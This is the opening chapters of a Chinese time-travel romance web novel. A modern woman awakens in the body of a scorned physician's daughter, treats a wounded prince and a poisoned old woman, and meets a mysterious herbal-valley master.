百世契约:药妃,宠不停 - xp1024.com
《百世契约:药妃,宠不停》


第一章:穿越,冥婚不成险被弃尸荒野

千年前,灵空大陆西秦国(灵空大陆分东宁,南安,西秦,北烈四国)。

夜里雷声轰隆隆,倾盆大雨一泻而下,一道道耀眼的闪电时不时划过夜空。

突然从天而降一道灼眼的光芒。即便是伸手不见五指漆黑的夜却依然能看到这光芒宛若一只七彩凤凰盘旋在夜空高贵的昂首俯视寻觅着,而顷刻间它像是找到了目标瞬时伸展开那美轮美奂的凤凰羽翼俯身而下坠入了衣府后院的阁楼便立马消失不见,无影无踪。

随即风停,雨停,雷电停......

“小姐,小姐,你快醒醒啊,你若再不醒,燕儿可怎么办呢?”

“呜...呜...呜...”

一个小丫头正一边哭一边用力摇晃着躺在榻上的小主人的胳膊。

这位昏迷的小主正是西秦国御药房药师衣上坤府上的嫡长女衣上云,一年前因病昏迷卧床至今不醒,衣家几乎请便了天下名医均对此症束手无策。

对于这个丑陋软弱且不学无术的废柴大小姐,衣家显然已经是要打算放弃了。

正在这时衣上云隐隐约约听到了小丫头的抽泣声,眼珠子开始拼命地转动着想要努力张开......

终于视线渐渐变得清晰起来,她一睁眼看到这陌生的地方便吃力地想用两只胳膊撑起身子坐起来,却发现身子异常沉重并不听她的使唤。

这才看到眼前这个小丫头还在用呆愣的眼神望着她,手里还保持之前的动作紧紧拥着她的双臂,无奈她只能伸出一只手来用手指先轻轻按摩一下穴位缓和缓和减轻点颅内的疼痛。

“这是哪儿?”

“你是谁?“

“发生了什么事?”

为什么一醒来会在这里,她不是在自己公寓里吗?再看周围陌生的环境,都是古代的木质建筑和装修格调啊。房里除了这个自己唤作燕儿的丫头外,一旁还站着两个跟燕儿年纪稍小一些同样装扮的小丫头,衣上云细细打量观察着这一切。

突然燕儿松开了拥在衣上云臂上的手急急说道:“小姐你怎么了,你不记得了吗?你真的都不记得了吗?”

小姐肯定是昏迷太久所以有点陌生了吧,燕儿挠了挠脑袋睁大眼睛一脸惊愕地一边看她一边心想。

过了会儿见衣上云依旧一脸茫然便继续说“我是燕儿啊,这里是明月阁,你的阁楼啊,你都昏迷了快一年了,小姐你到底怎么了?刚老爷过来说,小姐尚未出阁,本想替你找个同样死法的男子结成冥婚让你们得以脱生,岂料小姐因被退婚过竟无人愿意婚配,正准备把你......把你弃尸荒野”

“呜...呜...呜...”

燕儿又哭了,一边哭一边抹眼泪,可这哭声里显然已经少了许多之前的焦急与担忧。

这会衣上云还在穿越的残碎片段里。

难道真的有穿越这种事?真的有人们穷极一生也到达不了的平行时空而我却到达了?衣上云只觉得越想头越痛,越支撑不住,负担不起。她眉头紧锁,双眼紧闭,拼命地回忆整理着这些跳跃漂泊在自己和原主零碎的记忆片段之间......

21世纪的上海、他失踪了13年的心上人魏明轩至今下落不明、身患肿瘤即将手术的她在自己公寓晕倒了、一道刺眼光芒、随后出现了一道曾经无数次梦境中的那道墙、原主竟然一样名唤衣上云、17岁,丑女,废柴,软弱,人人可欺......

“对了,小姐醒了,不用葬了。小姐,我这就去禀告老爷夫人去”燕儿激动的刚说完话就朝门外奔去,完全没有顾及衣上云正陷在这痛苦的挣扎中。

转眼间她便领了一堆行色匆匆的陌生人进来。

先开口说话的是个约摸四十岁上下的男人,一袭灰白长袍,短须,墨发半束,记忆告诉她,他正是原主的父亲西秦国御药房药师衣上坤。

“既然醒了,就好好在府中呆着”

早不醒晚不醒,刚被陆家退了亲就醒过来了,衣上坤暗自琢磨着重重叹了口气,自始至终眉头紧缩一愁莫展,就丢下这几个字便甩了一手衣袖哼了一声便匆匆夺门而出。

接着旁边一身打扮极其素色却看似慈善的妇人正是原主的母亲年氏,虽是衣上坤的正室,却在衣府是不得宠的,因为她没有娘家做靠山,且只有衣上云一个女儿并无其他子嗣。

见老爷离去年氏忙拭了拭眼角的泪水,急急朝着衣上云的榻边沿上走过来坐下道,“云儿,你可算醒了,为娘对不起你,没能护你周全,让你受苦了”说完又继续抹泪,衣上云此时正专注地打量倾听这位原主母亲的言行...

“哎哟喂,大小姐,你可算是醒了,醒的也真是时候,要过了今晚,恐怕你就算想醒也醒不了了。真是家门不幸,衣家因为你......唉”。

穿着大胆艳丽说这番话的正是衣上云的二娘——兰姨娘。旁边站着她趾高气昂的儿子衣上俊和任性骄纵的女儿衣上雪。这母子三人倒也真是母子同气,都狠狠不屑地斜着眼瞪着衣上云,都轻蔑地哼了一声,就都散了出去。

衣上云这才将目光重新投向原主的母亲说道“母亲莫要难过,都是云儿的错,让母亲挂心了”衣上云说着拿出自己的绣帕帮这个妇人拭泪,年氏顺势一把将衣上云紧紧拥入怀中抱紧。

如今,原主已然被她这个21世纪的灵魂代替,她看这个妇人应是也疼爱原主的,无论如何,在这个时空,或许她将是她唯一的依靠了......

许久,终于所有人都散去。燕儿给衣上云掖好被角,慢慢放下淡紫色的幔帐,轻轻将门掩上退了出去。

这会儿,衣上云自是睡不着的,起身披了一件水蓝色外衣走出阁楼来环视了一下四周的环境。最后来到走廊靠院子西北角上的烟雨亭石桌边上坐了下来,抬头朝自己的阁楼方向看去。

......

第二章:退婚,正合我意

阁楼名唤明月阁,在衣府后院东边的角落里。阁楼分为上下两层,二楼是闺房,一楼是书房和客厅,十足的古色古香味。

院落中心是一个小池塘,池塘里娇滴滴的荷花正开着,池塘里花团锦簇似的红鲤鱼自由自在追逐嬉戏着,倒是给这个冷清的院落增添了些许热闹,让这里不会显得太过冷清。

一抬起头只见夜空风淡云轻,皓月当空,繁星点点,倒也正是应了这此情此景了,衣上云心里暗想。

她习惯性地触摸起手腕上的金丝彩玉镯子,这个镯子竟倒跟着她一起来了,也真是她的幸运。

这个镯子是魏明轩送的,虽然他失踪了那么多年,可这个镯子也总能在她最孤独的时候给她些许温暖。

半年前集团与外国科学家还一起研发植入了一枚医学芯片进去,欲让集团在整个医药界无所不能,只是不知道系统还在升级中的它来到这个世界是否会升级中断甚至功能尽失呢?

“那...那道墙......那不是”

衣上云的目光突然定在了明月阁紧靠东面的一面墙上惊道。

这道墙衣上云太熟悉了,21世纪她的睡梦中曾无数次出现过这面墙,和现在这面墙太像了,简直一模一样,不,她敢肯定梦中的正是这面墙。她似乎都有点不能分辨发生在眼前的这一切到底是梦境还是现实。

梦里每次梦到这面墙的时候天空都是下着大雨,有个女人面对着这面墙静静地独自站着,她看不到她的脸,但她却总是强烈地感觉梦中站在这面墙前的就是自己,今天她更肯定了这个直觉。

她平日并不钟情这种古装影视,为何却总是做这样的梦。

衣上云情不自禁地靠近着伸出纤细的玉手要抚摸这面墙......

没错,就是这样,跟梦里真的一模一样,梦中的地方正是这个地方,正是这样的一面墙。

“小姐,这么晚了,你在这里做什么”燕儿拿着一件粉紫色披风向着衣上云急急一走过来连忙帮她披上。

“小姐,夜深了,小心风寒”衣上云这才缓过神来.

燕儿一边关切地叮嘱着一边扶她到石桌边坐下来。继续说,“小姐,你还不知道吧,一个月前西秦学院陆少主亲自来府上跟您退亲了”

“退亲?”衣上云显然被自己刚穿越过来就碰上这种倒霉事吃了一惊。

“是的,陆少主他说全京城都知道你相貌丑陋,不学无术,如今还久卧病床不省人事,说衣府想诓骗西秦学院。”燕儿抬头看了一眼衣上云,衣上云自是一脸捉摸不透地低头沉思着,燕儿又继续说。

“说的冠冕堂皇,其实京城谁不知道陆少主攀上了相国府大小姐这个高枝”燕儿有些愤愤不平,说着气的说话的人自己脸红脖子粗.

而衣上云却一脸无所谓地平静,就好比像是在听别人的事,和自己根本无关一样。

像她21世纪的未来人怎么可能在意这种包办婚姻呢?听这丫头口中讲的这位陆少主,明知自己已有婚约在先,却还背地里不知廉耻作出这些伤风败俗之举,贼喊捉贼,想必真人怕是也好不到哪里去。

而且她还不知道会在这西秦国呆多久,会不会过几天就又突然穿越回去了呢?她的魏明轩可还在21世纪里呢!

现在她只能是过一日算一日罢了,退婚了更好,至少她可以继续在这个原主从小到大已经习惯了的府里最起码有个安身之所,这看起来倒好像也是她最好的选择了。在这个古老的时代,她离开了衣府,又能去哪,又该如何安身呢?

对,既来之,则安之。兵来将挡水来土掩,总归要活下来啊,只有活下去才有无尽的可能发生。至少也不能辜负浪费了原主的这幅皮囊,一定要想办法在这里活下来,衣上云暗自心想。

“现在几更天了”衣上云突然问燕儿。

“快二更天了,小姐,我刚才说的话你有在听吗”燕儿急急道。

“嗯,退婚,正合我意”

衣上云说完便起身径自朝阁楼进去,燕儿听到衣上云丢下的这句话却怔在原地霎时露出一脸的惊愕。

“小姐到底有没有听懂我说的话啊,正合我意......小姐难道不知道女子被退婚是奇耻大辱吗,今后一辈子都会嫁不出去了,就连衣府都会被人指指点点”她轻声喃喃着想再确认一遍小姐是否真的听进去了她所言的。

可都还没有等她反应过来,衣上云就已经消失在这片漆黑的夜色中无影无踪了。

无奈燕儿叹了口气摇摇头只能转头回房间去了,她这小主子是真的昏迷傻了吗。

明月阁阁楼里,衣上云正坐在梳妆台的铜镜前终于仔细端详起这张在烛光下尽显柔和,清纯的脸,方才发现这张脸其实和21世纪里她的脸差不多,只是21世纪里她的年龄要大现在很多。

铜镜中她一眼就看到在右眼旁边有个十分清晰规则的圆形粉色肉瘤,她一看就知道这并不是燕儿口中说的什么无药可医的胎记,而是一个极普通的血管瘤罢了。

这个在21世纪里的治疗方案不要太多了,何况只是血管瘤里最普通常见的一种。仔细端详其实要是没有了这个血管瘤,原主还真算得上是肤如凝脂,玲珑剔透,倾国又倾城的大家闺秀美人儿一枚的。

然而在这个时代,却因此被天下人传扬取笑,原主竟然因此活生生忍受了这么多年的羞辱欺凌,真是可怜人啊。如今还被退婚了,在这古老的年代里,这一生怕是都要孤独终老了吧。

“放心,还好我来了,也正是因为是我来了,作为占用你皮囊的报答,我一定帮你恢复倾国倾城的容颜。日后一天你若回来定会许你一个如意郎君,死生契阔,与子成说,执子之手,与子偕老”。

满腹自信地说完这段话,衣上云感觉现在能量满满,便起身来换上了一套黑色夜行衣,戴了一条白色面纱遮盖好脸上的瘤便悄悄从院子后门溜了出去,一出门就朝着东北方不远处山谷方向直奔而去,只见瘦弱的身影很快消失在这一片漆黑的夜雾里......

第三章:救人,风高夜黑的山谷

神农百草谷,就在这座崖的背后。

西秦国最具实力的药材种植山谷,种有世间罕见的奇珍异草。还好原主的残碎记忆里有这个信息,她的芯片系统升级尚未恢复,大多数功能还在继续升级中。

原主听父亲说过这个谷主极难说话且谷内有独门毒障掩护,常人很难入谷。所以为了省去不必要的麻烦,衣上云选择夜间行走。

半个多时辰的样子她就到达了山谷脚下,这山还挺高的,看样子都有一千多米,这么高大的山脉肯定生长着不少好东西。衣上云心想并暗自窃喜。

山脚周围围绕着一条河,像是山谷的一道天然保护屏障。河水是从山顶瀑布上飞流直下注入的,这山崖的岩石峭壁之间便有她治疗毒瘤所需要的形似佛手样的药引——九死还魂草。

九死还魂草喜生长在向阳的岩石缝中,因为只有那里土壤贫瘠,蓄水能力极其差。衣上云站在山脚下观望了没一会就锁定了一个区域抛出了随身带来的绳索固定好一步一步小心翼翼地攀岩而上。

“果然在这儿,今儿本小姐就把你给收了”衣上云紧闭起那双好看的凤眸集中全部意念,瞬间金丝彩玉镯子闪现出一道七彩光芒,显然它对这些珍贵的药草十分满意。很快就顺利的将九死还魂草收到了芯片系统里,果然储药分支系统的功能已经恢复。

随即衣上云缓缓攀岩而下,夜风袭来山谷里的夜还是有点凉飕飕的,衣上云不禁打了个寒颤,途中顺便还将另外几种罕见草药一并收入了储药系统中。

很快,衣上云安全地到达了地面上,她麻利地收好绳索,轻轻摩擦手掌嘴角上扬露出一抹满意的微笑,便回头朝来时的路准备返回去。

殊不知此时,这黑夜中一袭宽大的黑袍正用一双深不可测的眼睛盯着她从出现到离开,全都一清二楚看在眼力。

然而他并没有出面阻止,他自是不缺这些药草,他目前更好奇的是这个丫头到底是什么来头,竟然能闯入他神农百草谷的独门毒障还安然无恙。没错,他对她很感兴趣,立马吩咐身旁的青衣女子去查,青衣女子领命后两人便一同离开了。

扑通......

衣上云还没走出多远,旁边丛林方向传出听着好像是有什么倒地的声音。她似是本能的踩着小心翼翼的脚步凑身过去看看。

谁知刚走到一棵大树下,从身后窜出一个同样身着夜行衣蒙面的身影迅速地从衣上云身后用左手紧捉她的左肩往后轻轻一拽,衣上云身子跟着向左后方微倾,随即男子持着利剑的右手便从衣上云的右边环过落到她的脖颈上,她感觉到男子的身体一直在晃动着。

“你受伤了,呼吸沉重,身体摆晃,应该伤的不轻”见他不说话,衣上云抬头看看天空又继续说。

“这风高夜黑且荒郊野外的,想要活命的话,本小姐可以帮你瞧瞧”

“我怎么信你”男子吃力地问,他确实伤的很重,一会功夫,呼吸就变得更加沉重不稳困难,急促了。

“你若不信,本小姐还有要事,我不会跟别人说这里有人受伤的,那就告辞啦”衣上云试探道。

男子这时候才慢慢松开了手,衣上云回头看过去,虽然透着蒙面纱巾,却依然能看到后面的人透出来与生俱来的尊贵不可冒犯的气质,浓密的眉毛,深邃黝黑的眼睛却散发着异常冰冷的让人敬而远之的目光,一张精致轮廓的脸像是天工细细雕刻过的。

此时蒙面男子正一手捂着胸口的伤口,另一手低垂吃力地持着一把利剑,却仍然倔强的保持着站立姿势摇摇欲坠。

“坐下,把衣服脱了”衣上云看着倔强的男子说道。

“你要做什么”男子怀疑地问。

“当然是给你疗伤咯,不然呢,我是女子,你一个大男人还怕我把你怎么着了不行”衣上云挑眉带着些不屑的口吻怼道。

男子最终还是乖乖照做,褪去了衣服。衣上云这才看到,他的身材亦倒是很配他的这个轮廓和气质,只是这个男人看起来定是个尊贵的身份,身上却竟然展现出一身的新伤旧伤布满全身。

衣上云不解地眼神怔了一下抬头看了男子一眼,刚好迎上男子冰冷的眼神,四目相对,一霎间,她立刻收回视线。

这里虽不是百草谷的辖区,但却距离不远,故而周边普通草药找来也并不费力气,就在男子坐下宽衣的时候,衣上云已经拈来了药草,此时正在将药草捣碎准备敷药。

一触碰到男子温热身体的时候衣上云心里还是忍不住泛起了一丝异样,头微微转向侧面,用余光很快就敷好药,从衣袖中拿出一条白色丝帕轻轻覆在草药上,撕了一些自己的绑带将药草连同丝帕一起固定绑好,动作娴熟而精细。

处理好伤口,帮男子穿好衣服,衣上云起身前往小河边清洗掉手上残留的药草和血迹。

回来对男子叮嘱道“伤口不要碰水,你暂且休息会,刚包扎的伤口需要时间愈合不要乱动,小心裂开,等恢复力气后以你的内力自行回家应该没有问题,姑娘我就先行一步了,再见...不对...像你这样危险的人,我们还是不再见的好,珍重!”

衣上云单膝蹲着一边说一边拍了拍男子的肩膀起身,抬头看了一眼天色便迈着轻盈的脚步飞快地离开了。

男子其实早就没力气了,视线早就因为体力透支变得模糊不堪,此时正依靠在树根旁一点回应的力气都没有了,只看到一个清瘦女子的身影渐行渐远,而他也彻底闭上了眼睛......

“殿下,殿下......”

不知道过了多久,他慢慢醒过来,六名身着夜行衣的男子站在他身边护着,他面前蹲着一个墨发半束的男子,见到主人清醒了便道:“殿下,属下来迟,请殿下责罚”。只见受伤男子半举起右手,示意众人立即离开。

衣上云回到府里的时候已经是三更天了。她纳闷这么晚了,大厅却还是灯火通明。她四处张望了下,悄悄又溜回后院的门口,一下子就轻而易举的打开了门闩进去又悄悄的将门闩恢复原状,这才踮起脚尖沿着走廊正想进去明月阁。

突然,通往前院的门开了......

第四章:警告,姐不再好惹

吱呀......

伴随着门开的声音一缕灯火的亮光照了进来,衣上云惊地抬头看过去,几个小丫头挑着灯走了进来,衣上俊和衣上雪在跟着气势汹汹地迈着疾步跨进门来,他们身后的人正是兰姨娘,衣上云顿时来不及摘掉蒙面巾,就这样愣住站着不敢动弹。

“贱人,半夜三更打扮成这样跑去哪里鬼混了”先开口说话的是衣上俊,瞪着凶神恶煞的眼睛直逼向衣上云。衣上云怔了一下,还没来得及说话,衣上雪开口了。

“哎呦,还知道自己丑啊,把脸遮着,怕出去吓到鬼是吗?既然如此,为什么不直接死了算了,你和你那娘一样,命是又臭又硬,像你这样的货色,占着衣家嫡长女的位置,简直就是给衣家蒙羞。”

看着衣上云看她,她更加愤怒地道“你可明白,只有我才能为衣家光耀门楣”衣上雪说这话的时候表情都几近有些狰狞,没有了一点大家闺秀的样子。

谁料她突然一转身竟伸出一巴掌想要掌掴衣上云,她哪知道如今的衣上云早已不是原主那么好欺负的,衣上云眼疾手快地伸出强有力的右手狠狠抓住衣上雪的手腕,那力气把衣上雪的骨头都捏响了,只见她身体扭曲着都忍不住惨叫出声“哥,救我”

“衣上云,还不放手”衣上俊走过去吼道。

“想要衣家嫡长女的身份,除非我死,有本事就来取了我的性命,你便是衣家嫡女了。如若没有那本事,最好安分点”衣上云不甘示弱的厉声回道,顺势目光看向这母子三人,显然这句话明显是说给这三个人听的。

她本就不在乎什么身份不身份,但她绝对不允许被人一次又一次地挑衅,老虎不发威你当我是病猫吗,此举她只是要告诉他们从今以后,她可不再好惹。

“都给我住手!眼里都还有没有我的存在了。“衣上俊见势,扶着衣上雪庇护到兰姨娘旁边,三人目光相视,明显他们被眼前这个丫头惊到了。之前她可不是这个样子的呢,今天居然有这么大的反抗力气。昏迷了一年醒来竟像变了一个人。

“云儿,你父亲方才回宫里了,他走前说在百草堂订了一单药草,这是药单,明天你去百草堂看看叮嘱他们不要办错了差给老爷惹什么不必要的麻烦”兰姨娘递过去一张单子,衣上云接过去想看一眼。刚走到门口,兰姨娘突然回头道。

“还有,你已被退婚,乃是衣府的奇耻大辱,切不要再让衣府蒙羞”兰姨娘说完便转身向前院走去,众人随之紧跟其后掩上了门。

衣上云深呼吸了一口气,拿着一纸药草清单走进了明月阁。

到了阁楼,换上了一身粉紫色长裙,高挑匀称的身材越显淡雅肃静。量谁也想不到这样温柔如水,气质如兰的女子竟会有刚才那翻颇具力量的言辞和举动。

药引已经成功取得,可还需要芯片其它分支系统物品的辅助,却偏偏尝试了半天居然都尚未恢复,无奈只能再等等了。

此时她坐在桌边正看着手中的药单惊讶着,御药房内置办这么多宝贝:半夏、鱼腥草、蛇舌草、香附、石斛、黄芩、三七、何首乌、黑枸杞、灵芝......,这么多珍贵药材百草堂竟然全有,看来这个百草堂绝对不简单,她决定明天好好会一会这个神奇的百草堂。

褪去了中衣,终于躺在榻上了望着幔帐发呆,今天发生了很多事,她忽然想起两个时辰前树林里那个家伙,忍不住想起了那个冰冷的轮廓,心想:他应该醒了吧?

此时,西秦城东秦王府,一个白衣医者正在重新给秦王轩辕瀚伤口消毒、敷药、重新包扎。

“殿下,这伤不轻呢,再差半分可就直取人性命了。不过看这处理伤口的人医术和用药颇为高明,幸亏及时施救,否则怕是凶多吉少了“轩辕翰并没有理会他,依旧散发着冰冷让人敬畏地惧怕的气息。

医者见其不语继续叮嘱道”殿下这几日都需要静养,勿要使力再将伤口裂开”白衣医者小心翼翼地禀告完,便准备收起这一摊污物离去。

“把丝帕留下”轩辕翰余光看到医者手中收拾起的物品终于面无表情冷冷地命令了一句道,医者立刻将丝帕整理好放在一个干净的盘中双手递上后慢慢退了下去。

方才缓缓拿起丝帕的一角,这个传说有严重洁癖的最尊贵的西秦冷面秦王,竟徒手捏起一方如此脏乱粗糙之物。世人若知怕是要怀疑他是中邪了吧。

只见雪白的丝帕上染了药草的色和味,丝帕的一角绣了一个清秀的“云”字迹。是与她的名字相关吗?轩辕翰心里琢磨着,脑海忽然浮起起刚才的片段。

一个如此清瘦弱小的女子为何会深夜穿着夜行衣独自出现在那样的深山谷里,然遇到他持剑威胁却倒是十足的冷静一点也不显慌乱,竟直言让他脱衣,还敢对他说再也不见......

忽然他挑起眉毛,眼睛微眯起,嘴角上竟扬起难得的一抹好看的弧度,有些许玩味弥漫其间......

夜已深,东城秦王府,西城衣府,两个失眠的人儿同时将目光看向了窗外,寂静的夜里,弯弯的月儿悬于空中,繁星点点,晚风阵阵,这个世上最温暖的事莫过于你在想我的时候,而我也刚好正在想着你......

第五章:铃医有药

第二天一大早,衣上云主仆二人便早早出门朝着城中的百草堂而去,衣府在城东。衣上云今天一袭淡黄色长裙甚是清新好看,一双画龙点睛的凤眼,可惜因为芯片系统升级尚未完成,所以她找到的药草只能储存在系统里还不能解毒自救,依旧戴了白色面纱遮面。

出了衣府大门往西拐个弯很快就到了闹市,再过些时日便是中秋佳节了,街上行人已经络绎不绝。古人中秋祭月、赏月、赏花灯,猜灯谜各种活动会异常热闹。有些习俗还是越原始越有意义。

京城集市上确实要比往日热闹许多,主仆俩就像是关在笼子里许久未放风的鸟儿一般雀跃着边走边逛......

“小姐,你看这个鸳鸯灯笼,是一对的,多好看啊“燕儿双手捧着,衣上云挑眉看了过去

“小姐小姐,买冰糖葫芦吃吧,这家冰糖葫芦最好吃,好甜的,好吗?”燕儿欣喜地摇晃着衣上云的胳膊欣喜道。

“好像有人晕倒了,快过去看看”身旁有人惊道,衣上云看了过去,又朝着燕儿看了一眼,会意一起跟去瞧瞧。

“奶奶,奶奶你怎么了,你醒醒啊,奶奶...”只见一个约摸五六岁的衣衫褴褛的小女孩用两只因长期营养不良导致的干瘪的小手一边摇晃着躺在街边的一个老婆婆,一边伤心地哭着。

老婆婆嘴角流着鲜血躺在地上一动不动好像已经昏死过去了,周围围了一圈人指指点点,也听不清在说什么。

衣上云见状立马屈身下去单膝跪地,抓起老婆婆的手腕,认真地把起脉来,燕儿轻轻将小女孩抱开一边擦眼泪一边安慰着“小妹妹,乖,不要哭,我家小姐会帮你的,放心吧”。

蛊毒,竟是中了蛊毒?怎么会有人对一个老婆婆下这种毒?

取百虫入瓮中,经年开之,必有一虫尽食诸虫,此即名曰蛊。蛊毒种类繁多,极其残忍,看现在的症状,应是刚中毒。

衣上云立刻从袖中取出一个精致的小药囊,药囊上依旧绣着一个“云”字。从里面拿出银针按住婆婆心下处施针下去了好一会儿,然后又脱掉了老婆婆的鞋袜,朝小脚趾指尖继续施针,突然竟有类似食物的污物渐渐渗了出来。看来毒是从饭菜中食入的。

就在这时,老婆婆渐渐张开了眼睛。

“奶奶,奶奶”小女孩的视线一直看着她的奶奶从未离开,见到奶奶眼睛在张开,一把挣脱了燕儿的手,朝着奶奶飞奔过去。

这时,一辆由四匹马驱动的大于平常的豪华安车从人群后面路中央急急驶过,车内坐的正是西秦国权高位重的最尊贵的秦王殿下轩辕翰。

他见人围观便透过车窗看到了外面的情形,视线最后停在了蒙着面纱的衣上云的身上。锁住了眉头,感觉好像有几分熟悉,而只是片刻,就匆匆收回了他那张天生冰冷的俊脸,坐了回去。此时双眼微闭,好似在养神。

旁边他的副将程良见状也朝着轩辕翰的视线方向投去了好奇的目光看了一眼,并没发现什么特别的,他自是不知道那晚发生了什么事情。

“婆婆,感觉好些了吗?”衣上云一边收针,一边问道

“姑娘,老身好多了,谢谢你啊,灵儿赶快给姑娘恩人磕头,快呀”老婆婆急着一坐起身就拉着小女孩的胳膊向下拽示意她跪下来。衣上云连忙伸出手去拦下道:

“婆婆不必如此,你还未痊愈,需要休息,只是你为何会中毒,你们婆孙俩又为何会沦落街头呢?”

此时老婆婆拉起衣袖哽咽了起来道“姑娘有所不知,我的儿子去北烈国战场杀敌,多年不归,我家媳妇前几日便去将军府打听,谁知也是一去不复返,我怕奸人陷害对孙女不利,就带着孙女逃亡至此。听闻城东秦王殿下爱民如子,就想去秦王府为我那苦命的儿子和媳妇讨个公道。不想误食歹人施舍的饭菜,才至于此,险些命丧黄泉,老身死不足惜,只是可怜了我这尚且才5岁的小孙女便要无依无靠了”

“姑娘心善,老身无以为报,还请姑娘受老身一拜”边说老婆婆就叩了下去,谁知衣上云的速度更快地阻止了,还好没叩下去,要不她就要折寿了。

这时,她突然想起虽然已针灸解毒,可是老人家身体本就弱,要使毒能完全清除,尚需一贴药方可。她一抬头,才看到围观的人群之多竟然将她们围的水泄不通,此时大家都为她的善举鼓掌。

她则一眼看到人群中有一身着一袭蓝色长袍的男子,一手执铜铃,另一手负于身后,肩上挎着一个土黄色药袋的铃医,他也正在挑眉看着眼前发生的一切。

衣上云打量了一番朝着他走过去道“先生,请问可否跟您讨一贴五蛊丸?”

“姑娘你怎么就知道在下一定会有这方药”铃医捋着胡须反问道。

衣上云投过去微笑而又确定的眼神说道“这种毒在西秦天子脚下的京城虽并不常见,但见先生游走四方,所见所闻所遇必定颇多,相信先生对此毒一定不会陌生,也定有这方五蛊丸的”。

铃医男子怔了一下,嘴角露出一抹似是玩意的弧度“此药100两一方,姑娘还要吗”?

“要,当然要,再贵也要要的。不过刚出门太急没有带许多银两,稍后先生随我至府上,顺便请您赏脸喝个茶,如何”衣上云说着,微笑着伸出双手过去拿药。心里却想着,如果本姑娘的芯片系统升级结束的话,会被你坑?

果然铃医从药包里拿出一个白玉色小瓷瓶,衣上云接过轻轻打开倒一粒在掌心,一颗小豆大小的蜜炼药丸,刚好7粒。

“多谢先生赐药”衣上云转身回到婆孙俩身边把药递到老婆婆手中。

“婆婆,这个药丸可以清除你体内剩余毒素,记得每日饭前服一粒,连服7日,保你平安无事。秦王府再往前不远就到了,希望你一切顺利”衣上云一手指着东边不远处气派尊贵的府邸,另一只手摸着小女孩的头,一袭淡黄色长裙在此时忽然让她整个人显得更加美丽动人了。

忽然低头间衣上云瞥见了小女孩手腕上有一道擦伤,伤口已经有些破皮还在渗着鲜血,衣上云从衣袖中拿出一条白色丝帕,赶快小心翼翼地帮小女孩包扎好,还细心地在上面打了一个蝴蝶结甚是好看。

“好漂亮的蝴蝶结啊”小女孩看着精致的包扎雀跃道。

衣上云默默充满爱心的眼神看着小女孩,这么小的孩子,真可怜“燕儿,把我们随身带的银两送给老人家吧”燕儿领命递过去一包银子,婆孙俩又一次流下了感激的眼泪,而后就告辞朝着衣上云指的秦王府邸方向去了。

“小姐,100两呢,咱们回去怎么跟老爷交代呢?”燕儿凑上去担忧的说。

“放心,我自有办法”衣上云不耐烦地说,她正在想,京城里怎么会有这种旁门左道的巫蛊之毒呢,巫蛊之术在西秦国可是一直都三令五申要严查和避讳的呢,而且还染在一个老人的身上,衣上云琢磨着,不知何时竟皱起了原本好看的眉头......

第六章:惊艳,易三少

一转头衣上云终于缓过神来,围观的人群都也已经散去了,只剩下了蓝袍铃医一脸敬佩的表情嘴角略带弧度直挺地立在衣上云不远处.一手持铃铛,另一手负于身后。

”还未请教先生怎么称呼”衣上云走上前恭敬地问。

“区区一个铃医怎么敢当呢,姑娘慷慨善良,在下自叹不如。不过,在下刚刚改变主意了,今日100两就算你欠我个人情吧,等在下想好了再来讨,姑娘只需告诉再下您的身份即可,讨债总要知道欠债人是谁吧”铃医有点严肃地说道。

“那就谢谢先生了,城西衣药师是我父亲,先生称呼我衣上云便可,如有任何用得着我的地方,先生可随时来府上找我,能力所及的,小女子定当全力以赴”

原来她真是衣府大小姐,不是听闻废柴软弱吗,看来真是误传了。难怪她能自由出入我百草谷的独门毒障地界,想必里面定是有玄机的,日后且慢慢探个究竟,铃医心里想着。

没错,此人正是前几日衣上云百草谷深夜盗药草时躲在黑暗中的黑袍男子谷主易君浩,认识的人都称他易三少。当夜他命青衣女仆跟踪衣上云下山,青衣女仆已确认过她确实是衣家大小姐。

今日此时,他就更加确定了她不是流传里所说的人人可欺的废柴软弱,而她那夜所盗取的九死还魂草,再加上她整日以面纱遮面,他很快断定她是要解自己脸上的毒。

罢了,美人自是要用来怜香惜玉的,要不岂不是暴殄天物。更何况是一个如此蕙质兰心,聪明纯良的美人。蓝衣铃医想着想着,眼中流露出更加欣赏带有些怜惜的眸光来。

“如此甚好,再下今日还有事就先告辞了,有缘自会再见”铃医说着随便作了个揖便匆匆回头转身离去。

“好,先生保重”衣上云回礼。等她再抬起头的时候那人竟然已经不知所踪了,就像他从来都没出现在这里过一样。

终于该办正经事了,主仆两人继续往东再走了一会到前面路口便往右拐进了一条巷子,百草堂就在这城中的巷口。

一座三层的店面,装饰地倒也真是颇具豪华气势,南来北往的人一眼就能看到挂在门庭上“百草堂”匾额。只见人来人往,都进进出出,快赶上街市的拥挤了,不愧是西秦国第一药草商行。

进门一楼店铺靠墙四面全部都是中药架和柜台,密密麻麻,玲琅满目,应有尽有,从药草到药草加工再到中成药可谓是一条龙一站式的排场了。衣上云看得都有些呆了。

“二位姑娘是抓药还是问诊啊?”过来一个店伙计,一副利索的快嘴,油腔滑调,俨然一幅熟巧的样子。

“这位是城西衣药师府上的大小姐”燕儿抢先介绍了衣上云

“原来是衣药师府上的千金,幸会幸会。您请上三楼,掌柜的已经收到衣药师的通知,货品早都准备齐全了就等您过目后送货到宫里去,您赶快三楼请”伙计一边说一边前面带路。

到三楼要经过二楼,二楼是请的几位不定期坐诊百草堂的名医,一般都是太医院的顶级太医或者民间有名的游医,这些主的价格可是不便宜的哦。看来这百草堂确实不是一般的有实力,且很有经营之道。

此时蓝袍铃医早已撤掉方才装扮的胡须,换上一身紫红长袍,三千墨发用一只精致的簪子半束着,鬓间还有两缕微带蜷曲的青丝洋洋洒洒地垂下来,时不时供他以手把玩着。脸上竟长了一对桃花眼,尽显出一丝妖艳,对,就是妖艳。

二十岁出头的样子,浑身散发着出一副随性恣意来,跟刚才的蓝袍铃医完全判若俩人。此刻他就坐在百草堂三楼一角上的乌木茶桌边悠闲地品茗。旁边是两个浅绿长裙装的女仆伺候着。虽是女仆,却可以跟他随意地谈天论地,俨然一副不同于一般人家的下人。

正在这时衣上云走上了三楼,上来一眼就看见了这引人注目的主仆三人。紫袍男子看见衣上云上来,眼神立刻顿了一下停下了把玩在手中的茶杯呆呆地打量着她,这身打扮衣上云定是认不出他的。两人四目相对,还在互相打量,尚未来得及说话,伙计已经将掌柜的请了过来。

“衣大小姐,大驾光临,有失远迎,赎罪赎罪,快请这边坐”掌柜的客气地行礼说道,眼睛看了一眼旁边的这个紫袍男子,紫袍男子点头示意其继续。

